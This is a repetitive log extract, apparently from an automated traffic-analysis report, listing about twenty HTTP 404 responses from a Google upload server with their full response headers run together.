Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC56y6m0UbqdvvXDCHepQLC9R4rVp7eW7XeyEVdgH4CB5WLUVgBgkeKfAj5adv1P1o-X3Vc9jjEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:58 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Mg4avhXlJuserW7No-NMLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5RCiyPMaMzavAamcUft9MCW-KI4ZETOt5ropsbKbCf182OAPpnQN_YY20iJOSWthWPContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:58 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZowehwDqIlYydXAu6qBQpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5okGxFREaT6ZPUYMV9qPk8_PCDJN4lf4DY_I_R6ucJbQOTUKlj3injSsoz_b_r7N_iContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:59 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Y0CATLPTPK7zt0ItZBT6Zg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4wiqKQje4BzEavScumSqplDEqsP6uyuzcZaqjWSkqrPVtF-KRG7VgrbZGKI4B-I-EZ0pntdoYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:36:59 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-mTBbfoAUgX3YTEmDAEPVeg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC57dVlCIDzrM2kBaXY_GDi48kVXiQU_IBot8gX9vAMfN25Lt6di0DgqmDw9MZAzztIAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-GxNPbl-ZptBkQ2UG2lyIgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5TNlbQlTQGJnpnAKRbLMUAo3coR3n43cJXYB-lYRvGGmAQLzzN_owBWtY8bzjr_E6dPAC8F6sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-y0SXmOJlTBj08aZ5_CMAsQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6wzXVXwz2KpGZ5bPFI9YMQ509nQ1hCH4a1rPBhD7mzO8LIaXs2DoM1fQ5ebogQ2Nom2R-bFuEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:03 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bS44W-7-w6KhcSDpllXlWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6x6ZQzbZrZK1KoLfN9VenQHvuOdHzXFxMmxSYrW64yvtKAGq9kbHnMyLTOpNTYMCnLContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:03 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-kHwVqm39TMd5PaUdDKuEPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4HveScrGQvZ9A46f9nIEtIn7mEqqAxcAA0OJbD_WiePd-fgw3gmK0slQmR0A5dpjfIlbHYsJ4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:05 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-DSoYPso8ZbqcYTN8X8zXbQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC58MhRpl1WIeHxoCZ07h1U1lGW3n1fuUDE9PxkrEYFlx1XsQMuhReXo23X3Qhy4Sur0EDzD7CkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:05 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-NxN_sPizaoapPDNzTXIVbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5NIeBdR99JSotSvr43nBh8dx1xDDBKz8cHvSaFvhSVMPMAb0tlcGHx10apDpTiwzHwKutqPEcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:06 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-7q4uKMSWcH0F03o-6uqvsQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5zcP4so15IcblYsaG6lFJ8DMXXgcvN0ZVmFSjlmilfFCUUA__sBGXSwEv92c2FY2gQijVvF4sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:06 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-rABGRj1NhmYmb4wrCaYoNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5CLw1b2MVWrzp2LNqj_2CqhfIV1kPMycOIezyL9Oqa8NcFjPifcEUWSG5s6MKfv_yb-g8Lt38Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:07 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-UmSY-HWifLRirVbPsc2Zrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC44l7j1QTLG9HEjcBZFgK--OGhkzHMfFFfnJKL5gZ5mqw94Ohy4uMb3aAUcSJQiOLRCUVjCAAoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:07 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-BR_VXPI5PAAeVbJ1uhjE4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4zaup5lYjfZLFGdfvcws7r_DOPjG2KUB68TyCLzuwuNFy0OAHmbglVmkzlmYkgLma7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:09 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2LRXY285QgebXGQxshmsxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7MKCnqlmaq1vjDDiYWKhwaOF5iUG6uAlSPehySEiyIdno4gUWt5ywD7ELKquSWDLjCContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:09 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ARH_IWWoUj2ptg8530Q0CA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4IEqY2znRpzgj8D4fq9JwOa0xhkinIxm5_QoUvdXq5OT2R0mEgpUiBr9TAclwPQEJWG74u6TYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:10 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-bZFsggUWw4eQusfKzcXwlA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5bdDfi8Cu6vX1ADPCUcWB9jFIP6xt1vY2zH900hg5aubSbyI0TwLrlpSdNseHN-NtgYAj3UFcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:10 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Z3XEUzOpE7Zw44K1SwTTqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5g2662M8S-5_AgKLhzvan21rF7FoyB42VtEAxAAlczW9F23Fbq7mPKb5Ua76O3XU4ZQkp23ScContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:11 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-U09BsOogBLcpRqgLHAkElg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5cTKslsqk05o5C9_SZ5WMOTxie7D6UwX4Lxb0QYgDBLWbpRhLvIvubXz9XjHz_j64RContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:11 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-8EsjCqfg3hkjXOQwERil9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
